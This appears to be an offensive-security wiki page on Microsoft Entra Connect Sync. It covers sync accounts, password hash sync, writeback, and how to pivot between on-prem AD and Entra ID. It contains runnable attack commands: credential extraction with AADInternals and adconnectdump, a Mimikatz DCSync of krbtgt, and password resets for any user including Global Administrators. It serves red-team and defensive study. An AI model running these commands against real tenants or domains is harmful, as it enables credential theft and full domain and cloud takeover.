Az - Connect Sync

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Basic Information

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) is a main component of Microsoft Entra Connect. It takes care of all the operations that are related to synchronize identity data between your on-premises environment and Microsoft Entra ID.

The sync service consists of two components, the on-premises Microsoft Entra Connect Sync component and the service side in Microsoft Entra ID called Microsoft Entra Connect Sync service.

In order to use it, it's needed to install the Microsoft Entra Connect Sync agent in a server inside your AD environment. This agent will be the one taking care of the synchronization from the AD side.

The Connect Sync is basically the "old" Azure way to synchronize users from AD into Entra ID. The new recommended way is to use Entra Cloud Sync:

Az - Cloud Sync

Principals Generated

  • The account MSOL_<installationID> is automatically created in the on-prem AD. This account is given a Directory Synchronization Accounts role (see documentation) which means that it has replication (DCSync) permissions in the on-prem AD.
    • This means that anyone that compromises this account will be able to compromise the on-premise domain.
  • A managed service account ADSyncMSA<id> is created in the on-prem AD without any special default privileges.
  • In Entra ID the Service Principal ConnectSyncProvisioning_ConnectSync_<id> is created with a certificate.

Synchronize Passwords

Password Hash Synchronization

This component can be also used to sychronize passwords from AD into Entra ID so users will be able to use their AD passwords to connect to Entra ID. For this, it's needed to allow password hash synchronization in the Microsoft Entra Connect Sync agent installed in an AD server.

From the docs: Password hash synchronization is one of the sign-in methods used to accomplish hybrid identity. Azure AD Connect synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.

Basically, all users and a hash of the password hashes are synchronized from the on-prem to Azure AD. However, clear-text passwords or the original hashes aren't sent to Azure AD.

The hashes syncronization occurs every 2 minutes. However, by default, password expiry and account expiry are not sync in Azure AD. So, a user whose on-prem password is expired (not changed) can continue to access Azure resources using the old password.

When an on-prem user wants to access an Azure resource, the authentication takes place on Azure AD.

note

By default users of known privileged groups like Domain Admins with the attribute adminCount to 1 are not synchronized with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly can be synchronized.

Password Writeback

This configuration allows to sychronize passwords from Entra ID into AD whe a user changes its password in Entra ID. Note that for the password writeback to work the MSOL_<id> user automatically generated in the AD needs to be granted more privileges as indicated in the docs so it'll be able to modify the passwords of any user in the AD.

This is specially interesting to compromise the AD from a compromised Entra ID as you will be able to modify the password of "almost" any user.

Domain admins and other users belonging to some pivileged groups are not replicated if the group has the adminCount attribute to 1. But other users that have been assigned high privileges inside the AD withuot belonging to any of thoese groups could have they password changed. For example:

  • Users assigned high privleges directly.
  • Users from the DNSAdmins group.
  • Users from the group Group Policy Creator Owners that have created GPOs and assigned them to OUs will be able to modify the GPOs they created.
  • Users from the Cert Publishers Group that can publish certificates to Active Directory.
  • Users of any other group with high privileges without the adminCount attribute to 1.

Pivoting AD --> Entra ID

Enumerating Connect Sync

Check for users:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Check for the Connect Sync configuration (if any):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Finding the passwords

The passwords of the MSOL_* user (and the Sync_* user if created) are stored in a SQL server on the server where Entra ID Connect is installed. Admins can extract the passwords of those privileged users in clear-text.
The database is located in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

It's possible to extract the configuration from one of the tables, being one encrypted:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

The encrypted configuration is encrypted with DPAPI and it contains the passwords of the MSOL_* user in on-prem AD and the password of Sync_* in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.

You can find a full overview of how these credentials are stored and decrypted in this talk.

Abusing MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Previous attacks compromised the other password to then connect to Entra ID user called Sync_* and then compromise Entra ID. However, this user no longer exists.

Abusing ConnectSyncProvisioning_ConnectSync_

This application is created without having any Entra ID or Azure management roles assigned. However, it has the following API permissions:

  • Microsoft Entra AD Synchronization Service
    • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
    • PasswordWriteback.OffboardClient.All
    • PasswordWriteback.RefreshClient.All
    • PasswordWriteback.RegisterClientVersion.All

It's mentioned that the SP of this application can be still be used to perform some privileged actions using an undocumented API, but no PoC has been found yet afaik.
In any case, thinking that this might be possible it would be interesting to explore further how to find the certificate to login as this service principal and try to abuse it.

This blog post release soon before the change from using the Sync_* user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a service principal can always assign itself new certificates) and then use it to maintain persistence as the SP.

In order to perferm these actions, the following tools are published: SharpECUtils.

In my experience, the certificate is no longer stored in the place where the previous tool was looking for it, and therefore, the tool doesn't work anymore. So further research might be needed.

Abusing Sync_* [DEPRECATED]

warning

Previously a user called Sync_* was created in Entra ID with very sensitive permissions assigned, which allowed to perform privileged actions like modifying the password of any user or adding a new credential to a service principal. However, from Jan2025 this user is no longer created by default as now the Application/SP ConnectSyncProvisioning_ConnectSync_<id> is used. However, it might still be present in some environments, so it's worth checking for it.

Compromising the Sync_* account it's possible to reset the password of any user (including Global Administrators)

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

It's also possible to modify the passwords of only cloud users (even if that's unexpected)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

It's also possible to dump the password of this user.

caution

Another option would be to assign privileged permissions to a service principal, which the Sync user has permissions to do, and then access that service principal as a way of privesc.

Seamless SSO

It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • If password writeback is enabled, you can modify the password of any user in the AD that is synchronized with Entra ID.
  • If groups writeback is enabled, you can add users to privileged groups in Entra ID that are synchronized with the AD.

References

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